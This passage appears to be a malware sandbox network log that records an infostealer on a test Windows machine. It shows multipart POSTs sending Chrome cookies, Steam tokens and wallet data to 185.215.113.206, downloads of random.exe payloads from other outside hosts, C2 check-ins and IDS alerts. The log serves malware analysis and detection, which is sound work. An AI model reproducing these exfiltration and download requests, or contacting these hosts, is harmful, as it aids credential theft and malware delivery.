45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 2d 2d 0d 0a Data Ascii: ------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AKFCBFHJDHJKECAKEHID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGHDGHCGHDHJKFBFBKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="file"------JKEGHDGHCGHDHJKFBFBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCBHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIIDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 2d 2d 0d 0a Data Ascii: ------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="file"------BKJKEBGDHDAFHJKEGIID--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIEHDAFHDHCBFIDGCFIDHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEHIIJJECFHJKECFHDGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 47 2d 2d 0d 0a Data Ascii: ------JKEHIIJJECFHJKECFHDGContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------JKEHIIJJECFHJKECFHDGContent-Disposition: form-data; name="message"wallets------JKEHIIJJECFHJKECFHDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGHHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="message"files------IIJJDGHJKKJEBFHJDBGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBAFHDGDGHDGCBFCFIDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 2d 2d 0d 0a Data Ascii: ------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file"------IDBAFHDGDGHDGCBFCFID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="message"ybncbhylepme------BKKJDBFBKKJEBFHJEHJD--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEHIEBKJKFIEBGDGDAAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KKEHIEBKJKFIEBGDGDAA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 31 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007170001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 31 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007171001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 20.25.227.174 20.25.227.174

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49750 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49829 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49847 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49850 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49852 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49854 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49856 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49855 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.206.229.209:443 -> 192.168.2.9:49835 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 26_2_00AABE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

26_2_00AABE30

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlaHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlaHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4T+hZraHcSoeyWd&MD=xT7Bx3Fa HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlaHLAQiFoM0BCLnKzQEIidPNAQip1c0BGOmYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
